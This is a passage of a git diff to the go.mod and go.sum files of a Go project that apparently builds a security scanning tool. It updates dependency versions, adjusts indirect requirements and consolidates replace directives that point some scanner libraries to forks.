v0.3.0 - github.com/imroc/req/v3 v3.43.5 + github.com/imroc/req/v3 v3.43.7 github.com/ipinfo/go/v2 v2.10.0 github.com/jlaffaye/ftp v0.2.0 github.com/lib/pq v1.10.9 github.com/olekukonko/tablewriter v0.0.5 - github.com/panjf2000/ants/v2 v2.9.1 + github.com/panjf2000/ants/v2 v2.10.0 github.com/pkg/errors v0.9.1 - github.com/projectdiscovery/gologger v1.1.12 + github.com/projectdiscovery/gologger v1.1.13 github.com/projectdiscovery/katana v1.1.0 - github.com/projectdiscovery/nuclei/v3 v3.2.7 - github.com/projectdiscovery/retryabledns v1.0.59 + github.com/projectdiscovery/nuclei/v3 v3.2.9 + github.com/projectdiscovery/retryabledns v1.0.65 + github.com/projectdiscovery/wappalyzergo v0.1.8 github.com/samber/lo v1.39.0 github.com/satori/go.uuid v1.2.0 github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 - github.com/sijms/go-ora/v2 v2.8.18 - github.com/spf13/cobra v1.8.0 - github.com/spf13/viper v1.18.2 + github.com/sijms/go-ora/v2 v2.8.19 + github.com/spf13/cobra v1.8.1 + github.com/spf13/viper v1.19.0 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 github.com/stretchr/testify v1.9.0 github.com/tidwall/match v1.1.1 github.com/tomatome/grdp v0.1.1-0.20230622130233-b1e80faa1cf2 - github.com/wasilibs/go-re2 v1.5.3 - github.com/weppos/publicsuffix-go v0.30.2 - github.com/yaklang/yaklang v1.3.2 + github.com/wasilibs/go-re2 v1.6.0 + github.com/weppos/publicsuffix-go v0.40.0 + github.com/yaklang/yaklang v1.3.3 github.com/yhy0/logging v0.0.0-20231128014545-22711cccc3b0 github.com/yhy0/sizedwaitgroup v1.0.1 github.com/yl2chen/cidranger v1.0.2 - golang.org/x/crypto v0.23.0 + golang.org/x/crypto v0.25.0 ) require ( - aead.dev/minisign v0.2.1 // indirect + aead.dev/minisign v0.3.0 // indirect code.gitea.io/sdk/gitea v0.18.0 // indirect dario.cat/mergo v1.0.0 // indirect filippo.io/edwards25519 v1.1.0 // indirect git.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a // indirect - github.com/Azure/azure-sdk-for-go/sdk/azcore v1.11.1 // indirect - github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.5.2 // indirect - github.com/Azure/azure-sdk-for-go/sdk/internal v1.8.0 // indirect + github.com/Azure/azure-sdk-for-go/sdk/azcore v1.12.0 // indirect + github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.7.0 // indirect + github.com/Azure/azure-sdk-for-go/sdk/internal v1.9.0 // indirect github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.3.2 // indirect github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect github.com/AzureAD/microsoft-authentication-library-for-go v1.2.2 // indirect @@ -108,32 +109,32 @@ require ( github.com/VividCortex/ewma v1.2.0 // indirect github.com/akrylysov/pogreb v0.10.2 // indirect github.com/alecthomas/chroma v0.10.0 // indirect - github.com/alecthomas/chroma/v2 v2.13.0 // indirect + github.com/alecthomas/chroma/v2 v2.14.0 // indirect github.com/alecthomas/units v0.0.0-20231202071711-9a357b53e9c9 // indirect github.com/andybalholm/cascadia v1.3.2 // indirect github.com/andygrunwald/go-jira v1.16.0 // indirect - github.com/antchfx/htmlquery v1.3.1 // indirect - github.com/antchfx/xmlquery v1.4.0 // indirect - github.com/antchfx/xpath v1.3.0 // indirect + github.com/antchfx/htmlquery v1.3.2 // indirect + github.com/antchfx/xmlquery v1.4.1 // indirect + github.com/antchfx/xpath v1.3.1 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect - github.com/aws/aws-sdk-go-v2 v1.26.1 // indirect + github.com/aws/aws-sdk-go-v2 v1.30.0 // indirect github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.2 // indirect - github.com/aws/aws-sdk-go-v2/config v1.27.13 // indirect - github.com/aws/aws-sdk-go-v2/credentials v1.17.13 // indirect - github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.1 // indirect - github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.16.18 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.5 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.5 // indirect + github.com/aws/aws-sdk-go-v2/config v1.27.21 // indirect + github.com/aws/aws-sdk-go-v2/credentials v1.17.21 // indirect + github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.8 // indirect + github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.1 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.12 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.12 // indirect github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 // indirect - github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.5 // indirect + github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.12 // indirect github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.2 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.7 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.7 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.5 // indirect - github.com/aws/aws-sdk-go-v2/service/s3 v1.54.0 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.20.6 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.24.0 // indirect - github.com/aws/aws-sdk-go-v2/service/sts v1.28.7 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.14 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.14 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.12 // indirect + github.com/aws/aws-sdk-go-v2/service/s3 v1.56.1 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.21.1 // indirect + github.com/aws/aws-sdk-go-v2/service/ssooidc v1.25.1 // indirect + github.com/aws/aws-sdk-go-v2/service/sts v1.29.1 // indirect github.com/aws/smithy-go v1.20.2 // indirect github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect github.com/aymerick/douceur v0.2.0 // indirect @@ -142,7 +143,7 @@ require ( github.com/bits-and-blooms/bitset v1.13.0 // indirect github.com/bits-and-blooms/bloom/v3 v3.7.0 // indirect github.com/bluele/gcache v0.0.2 // indirect - github.com/bytedance/sonic v1.11.6 // indirect + github.com/bytedance/sonic v1.11.9 // indirect github.com/bytedance/sonic/loader v0.1.1 // indirect github.com/caddyserver/certmagic v0.20.0 // indirect github.com/cespare/xxhash v1.1.0 // indirect @@ -151,7 +152,7 @@ require ( github.com/chromedp/sysutil v1.0.0 // indirect github.com/clbanning/mxj/v2 v2.7.0 // indirect github.com/cloudflare/cfssl v1.6.5 // indirect - github.com/cloudflare/circl v1.3.8 // indirect + github.com/cloudflare/circl v1.3.9 // indirect github.com/cloudwego/base64x v0.1.4 // indirect github.com/cloudwego/iasm v0.2.0 // indirect github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect @@ -165,13 +166,14 @@ require ( github.com/dlclark/regexp2 v1.11.0 // indirect github.com/docker/cli v24.0.7+incompatible // indirect github.com/docker/go-units v0.5.0 // indirect - github.com/dop251/goja v0.0.0-20240220182346-e401ed450204 // indirect + github.com/dop251/goja v0.0.0-20240610225006-393f6d42497b // indirect github.com/dop251/goja_nodejs v0.0.0-20240418154818-2aae10d4cbcf // indirect github.com/dsnet/compress v0.0.2-0.20210315054119-f66993602bf5 // indirect github.com/emirpasic/gods v1.18.1 // indirect github.com/fatih/structs v1.1.0 // indirect github.com/free5gc/util v1.0.6 // indirect - github.com/gabriel-vasile/mimetype v1.4.3 // indirect + github.com/gabriel-vasile/mimetype v1.4.4 // indirect + github.com/gaissmai/bart v0.9.5 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/getkin/kin-openapi v0.123.0 // indirect github.com/gin-contrib/sse v0.1.0 // indirect @@ -188,7 +190,7 @@ require ( github.com/go-pg/pg v8.0.7+incompatible // indirect github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect - github.com/go-playground/validator/v10 v10.20.0 // indirect + github.com/go-playground/validator/v10 v10.22.0 // indirect github.com/go-sourcemap/sourcemap v2.1.4+incompatible // indirect github.com/go-task/slim-sprig/v3 v3.0.0 // indirect github.com/goburrow/cache v0.1.4 // indirect @@ -196,24 +198,25 @@ require ( github.com/gobwas/httphead v0.1.0 // indirect github.com/gobwas/pool v0.2.1 // indirect github.com/gobwas/ws v1.4.0 // indirect - github.com/goccy/go-json v0.10.2 // indirect + github.com/goccy/go-json v0.10.3 // indirect github.com/golang-jwt/jwt/v4 v4.5.0 // indirect github.com/golang-jwt/jwt/v5 v5.2.1 // indirect github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect - github.com/google/certificate-transparency-go v1.1.8 // indirect + github.com/google/certificate-transparency-go v1.2.1 // indirect github.com/google/go-github/v30 v30.1.0 // indirect github.com/google/go-querystring v1.1.0 // indirect - github.com/google/pprof v0.0.0-20240509144519-723abb6459b7 // indirect + github.com/google/pprof v0.0.0-20240625030939-27f56978b8b0 // indirect + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect github.com/gorilla/css v1.0.1 // indirect github.com/h2non/filetype v1.1.3 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect - github.com/hashicorp/go-retryablehttp v0.7.6 // indirect + github.com/hashicorp/go-retryablehttp v0.7.7 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect - github.com/hashicorp/go-version v1.6.0 // indirect + github.com/hashicorp/go-version v1.7.0 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf // indirect @@ -225,8 +228,8 @@ require ( github.com/inconshreveable/mousetrap v1.1.0 // indirect github.com/invopop/jsonschema v0.12.0 // indirect github.com/invopop/yaml v0.3.1 // indirect - github.com/itchyny/gojq v0.12.15 // indirect - github.com/itchyny/timefmt-go v0.1.5 // indirect + github.com/itchyny/gojq v0.12.16 // indirect + github.com/itchyny/timefmt-go v0.1.6 // indirect github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 // indirect github.com/jcmturner/aescts/v2 v2.0.0 // indirect github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect @@ -242,8 +245,8 @@ require ( github.com/kataras/jwt v0.1.12 // indirect github.com/kataras/pio v0.0.13 // indirect github.com/kevinburke/ssh_config v1.2.0 // indirect - github.com/klauspost/compress v1.17.8 // indirect - github.com/klauspost/cpuid/v2 v2.2.7 // indirect + github.com/klauspost/compress v1.17.9 // indirect + github.com/klauspost/cpuid/v2 v2.2.8 // indirect github.com/klauspost/pgzip v1.2.6 // indirect github.com/kr/fs v0.1.0 // indirect github.com/kylelemons/godebug v1.1.0 // indirect @@ -258,8 +261,7 @@ require ( github.com/lufia/plan9stats v0.0.0-20240513124658-fba389f38bae // indirect github.com/lukasbob/srcset v0.0.0-20231122134231-06e7f27b6370 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect - github.com/mackerelio/go-osstat v0.2.4 // indirect - github.com/magefile/mage v1.15.0 // indirect + github.com/mackerelio/go-osstat v0.2.5 // indirect github.com/magiconair/properties v1.8.7 // indirect github.com/mailru/easyjson v0.7.7 // indirect github.com/mattn/go-colorable v0.1.13 // indirect @@ -270,7 +272,7 @@ require ( github.com/mholt/archiver v3.1.1+incompatible // indirect github.com/mholt/archiver/v3 v3.5.1 // indirect github.com/microcosm-cc/bluemonday v1.0.26 // indirect - github.com/miekg/dns v1.1.59 // indirect + github.com/miekg/dns v1.1.61 // indirect github.com/minio/selfupdate v0.6.1-0.20230907112617-f11e74f84ca7 // indirect github.com/mitchellh/go-homedir v1.1.0 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect @@ -280,7 +282,7 @@ require ( github.com/muesli/reflow v0.3.0 // indirect github.com/muesli/termenv v0.15.2 // indirect github.com/nwaples/rardecode v1.1.3 // indirect - github.com/onsi/ginkgo/v2 v2.17.3 // indirect + github.com/onsi/ginkgo/v2 v2.19.0 // indirect github.com/opencontainers/image-spec v1.1.0-rc5 // indirect github.com/patrickmn/go-cache v2.1.0+incompatible // indirect github.com/pelletier/go-toml/v2 v2.2.2 // indirect @@ -295,55 +297,52 @@ require ( github.com/praetorian-inc/fingerprintx v1.1.13 // indirect github.com/projectdiscovery/asnmap v1.1.0 // indirect github.com/projectdiscovery/blackrock v0.0.1 // indirect - github.com/projectdiscovery/cdncheck v1.0.9 // indirect + github.com/projectdiscovery/cdncheck v1.1.0 // indirect github.com/projectdiscovery/clistats v0.0.20 // indirect - github.com/projectdiscovery/dsl v0.0.56 // indirect + github.com/projectdiscovery/dsl v0.1.4 // indirect github.com/projectdiscovery/fasttemplate v0.0.2 // indirect github.com/projectdiscovery/freeport v0.0.5 // indirect github.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb // indirect github.com/projectdiscovery/gostruct v0.0.2 // indirect github.com/projectdiscovery/gozero v0.0.2 // indirect - github.com/projectdiscovery/httpx v1.6.0 // indirect - github.com/projectdiscovery/interactsh v1.1.9 // indirect + github.com/projectdiscovery/httpx v1.6.5 // indirect + github.com/projectdiscovery/interactsh v1.2.0 // indirect github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb // indirect github.com/projectdiscovery/machineid v0.0.0-20240226150047-2e2c51e35983 // indirect github.com/projectdiscovery/mapcidr v1.1.34 // indirect github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 // indirect - github.com/projectdiscovery/networkpolicy v0.0.8 // indirect - github.com/projectdiscovery/rawhttp v0.1.49 // indirect + github.com/projectdiscovery/networkpolicy v0.0.9 // indirect + github.com/projectdiscovery/rawhttp v0.1.55 // indirect github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917 // indirect github.com/projectdiscovery/sarif v0.0.1 // indirect - github.com/projectdiscovery/stringsutil v0.0.2 // indirect github.com/projectdiscovery/tlsx v1.1.6 // indirect - github.com/projectdiscovery/uncover v1.0.7 // indirect - github.com/projectdiscovery/useragent v0.0.51 // indirect - github.com/projectdiscovery/wappalyzergo v0.0.122 // indirect + github.com/projectdiscovery/uncover v1.0.9 // indirect + github.com/projectdiscovery/useragent v0.0.57 // indirect github.com/projectdiscovery/yamldoc-go v1.0.4 // indirect github.com/quic-go/qpack v0.4.0 // indirect - github.com/quic-go/quic-go v0.44.0 // indirect - github.com/redis/go-redis/v9 v9.5.1 // indirect + github.com/quic-go/quic-go v0.45.1 // indirect + github.com/redis/go-redis/v9 v9.5.3 // indirect github.com/refraction-networking/utls v1.6.6 // indirect github.com/rivo/uniseg v0.4.7 // indirect - github.com/sagikazarmark/locafero v0.4.0 // indirect + github.com/sagikazarmark/locafero v0.6.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect - github.com/sashabaranov/go-openai v1.24.0 // indirect + github.com/sashabaranov/go-openai v1.26.0 // indirect github.com/segmentio/ksuid v1.0.4 // indirect github.com/seh-msft/burpxml v1.0.1 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/shoenig/go-m1cpu v0.1.6 // indirect - github.com/sijms/go-ora v1.3.2 // indirect github.com/skeema/knownhosts v1.2.2 // indirect - github.com/smacker/go-tree-sitter v0.0.0-20240514083259-c5d1f3f5f99e // indirect + github.com/smacker/go-tree-sitter v0.0.0-20240625050157-a31a98a7c0f6 // indirect github.com/sourcegraph/conc v0.3.0 // indirect github.com/spf13/afero v1.11.0 // indirect github.com/spf13/cast v1.6.0 // indirect github.com/spf13/pflag v1.0.5 // indirect github.com/subosito/gotenv v1.6.0 // indirect github.com/syndtr/goleveldb v1.0.0 // indirect - github.com/tetratelabs/wazero v1.7.2 // indirect + github.com/tetratelabs/wazero v1.7.3 // indirect github.com/tidwall/btree v1.7.0 // indirect - github.com/tidwall/buntdb v1.3.0 // indirect + github.com/tidwall/buntdb v1.3.1 // indirect github.com/tidwall/gjson v1.17.1 // indirect github.com/tidwall/grect v0.1.4 // indirect github.com/tidwall/pretty v1.2.1 // indirect @@ -365,33 +364,33 @@ require ( github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect github.com/ysmood/fetchup v0.2.4 // indirect github.com/ysmood/goob v0.4.0 // indirect - github.com/ysmood/got v0.39.5 // indirect + github.com/ysmood/got v0.40.0 // indirect github.com/ysmood/gson v0.7.3 // indirect github.com/ysmood/leakless v0.8.0 // indirect - github.com/yuin/goldmark v1.7.1 // indirect - github.com/yuin/goldmark-emoji v1.0.2 // indirect + github.com/yuin/goldmark v1.7.3 // indirect + github.com/yuin/goldmark-emoji v1.0.3 // indirect github.com/yusufpapurcu/wmi v1.2.4 // indirect - github.com/zcalusic/sysinfo v1.0.2 // indirect + github.com/zcalusic/sysinfo v1.1.0 // indirect github.com/zeebo/blake3 v0.2.3 // indirect github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect github.com/zmap/zcrypto v0.0.0-20240512203510-0fef58d9a9db // indirect - github.com/zmap/zgrab2 v0.1.8-0.20230806160807-97ba87c0e706 // indirect + github.com/zmap/zgrab2 v0.1.8 // indirect go.etcd.io/bbolt v1.3.10 // indirect go.uber.org/mock v0.4.0 // indirect go.uber.org/zap v1.27.0 // indirect goftp.io/server/v2 v2.0.1 // indirect golang.org/x/arch v0.8.0 // indirect - golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 // indirect - golang.org/x/mod v0.17.0 // indirect + golang.org/x/exp v0.0.0-20240613232115-7f521ea00fb8 // indirect + golang.org/x/mod v0.18.0 // indirect golang.org/x/sync v0.7.0 // indirect - golang.org/x/sys v0.20.0 // indirect - golang.org/x/term v0.20.0 // indirect - golang.org/x/text v0.15.0 // indirect + golang.org/x/sys v0.22.0 // indirect + golang.org/x/term v0.22.0 // indirect + golang.org/x/text v0.16.0 // indirect golang.org/x/time v0.5.0 // indirect - golang.org/x/tools v0.21.0 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20240513163218-0867130af1f8 // indirect + golang.org/x/tools v0.22.0 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20240624140628-dc46fd24d27d // indirect google.golang.org/grpc v1.64.0 // indirect - google.golang.org/protobuf v1.34.1 // indirect + google.golang.org/protobuf v1.34.2 // indirect gopkg.in/alecthomas/kingpin.v2 v2.4.0 // indirect gopkg.in/corvus-ch/zbase32.v1 v1.0.0 // indirect gopkg.in/djherbis/times.v1 v1.3.0 // indirect @@ -405,6 +404,11 @@ require ( moul.io/http2curl v1.0.0 // indirect ) -replace github.com/tomatome/grdp v0.1.1-0.20230622130233-b1e80faa1cf2 => github.com/olljanat/grdp v0.0.0-20231207101320-9e4c98c8d159 - -replace gopkg.in/alecthomas/kingpin.v2 v2.4.0 => github.com/alecthomas/kingpin/v2 v2.4.0 +replace ( + github.com/projectdiscovery/httpx v1.6.5 => github.com/yhy0/httpx v0.0.0-20240703092203-41c7c943bf70 + github.com/projectdiscovery/katana v1.1.0 => github.com/yhy0/katana v0.0.0-20240703092224-91479ccbe22c + github.com/projectdiscovery/nuclei/v3 v3.2.9 => github.com/yhy0/nuclei/v3 v3.0.0-20240703094421-5e2869a2d835 + github.com/projectdiscovery/wappalyzergo v0.1.8 => github.com/yhy0/wappalyzergo v0.0.0-20240703091843-96f4c697343a + github.com/tomatome/grdp v0.1.1-0.20230622130233-b1e80faa1cf2 => github.com/olljanat/grdp v0.0.0-20231207101320-9e4c98c8d159 + gopkg.in/alecthomas/kingpin.v2 => github.com/alecthomas/kingpin/v2 v2.4.0 +) diff --git a/go.sum b/go.sum index 411e707..a4e8c49 100644 --- a/go.sum +++ b/go.sum @@ -1,6 +1,6 @@ aead.dev/minisign v0.2.0/go.mod h1:zdq6LdSd9TbuSxchxwhpA9zEb9YXcVGoE8JakuiGaIQ= -aead.dev/minisign v0.2.1 h1:Z+7HA9dsY/eGycYj6kpWHpcJpHtjAwGiJFvbiuO9o+M= -aead.dev/minisign v0.2.1/go.mod h1:oCOjeA8VQNEbuSCFaaUXKekOusa/mll6WtMoO5JY4M4= +aead.dev/minisign v0.3.0 h1:8Xafzy5PEVZqYDNP60yJHARlW1eOQtsKNp/Ph2c0vRA= +aead.dev/minisign v0.3.0/go.mod h1:NLvG3Uoq3skkRMDuc3YHpWUTMTrSExqm+Ij73W13F6Y= cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= @@ -44,14 +44,14 @@ filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4 git.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a h1:3i+FJ7IpSZHL+VAjtpQeZCRhrpP0odl5XfoLBY4fxJ8= git.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a/go.mod h1:C7hXLmFmPYPjIDGfQl1clsmQ5TMEQfmzWTrJk475bUs= github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw= -github.com/Azure/azure-sdk-for-go/sdk/azcore v1.11.1 h1:E+OJmp2tPvt1W+amx48v1eqbjDYsgN+RzP4q16yV5eM= -github.com/Azure/azure-sdk-for-go/sdk/azcore v1.11.1/go.mod h1:a6xsAQUZg+VsS3TJ05SRp524Hs4pZ/AeFSr5ENf0Yjo= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.12.0 h1:1nGuui+4POelzDwI7RG56yfQJHCnKvwfMoU7VsEp+Zg= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.12.0/go.mod h1:99EvauvlcJ1U06amZiksfYz/3aFGyIhWGHVyiZXtBAI= github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJcghJGOYCgdezslRSVzqwLf/q+4Y2r/0= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.5.2 h1:FDif4R1+UUR+00q6wquyX90K7A8dN+R5E8GEadoP7sU= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.5.2/go.mod h1:aiYBYui4BJ/BJCAIKs92XiPyQfTaBWqvHujDwKb6CBU= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.7.0 h1:tfLQ34V6F7tVSwoTf/4lH5sE0o6eCJuNDTmH09nDpbc= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.7.0/go.mod h1:9kIvujWAA58nmPmWB1m23fyWic1kYZMxD9CxaWn4Qpg= github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8= -github.com/Azure/azure-sdk-for-go/sdk/internal v1.8.0 h1:jBQA3cKT4L2rWMpgE7Yt3Hwh2aUj8KXjIGLxjHeYNNo= -github.com/Azure/azure-sdk-for-go/sdk/internal v1.8.0/go.mod h1:4OG6tQ9EOP/MT0NMjDlRzWoVFxfu9rN9B2X+tlSVktg= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.9.0 h1:H+U3Gk9zY56G3u872L82bk4thcsy2Gghb9ExT4Zvm1o= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.9.0/go.mod h1:mgrmMSgaLp9hmax62XQTd0N4aAqSE5E0DulSpVYK7vc= github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.5.0 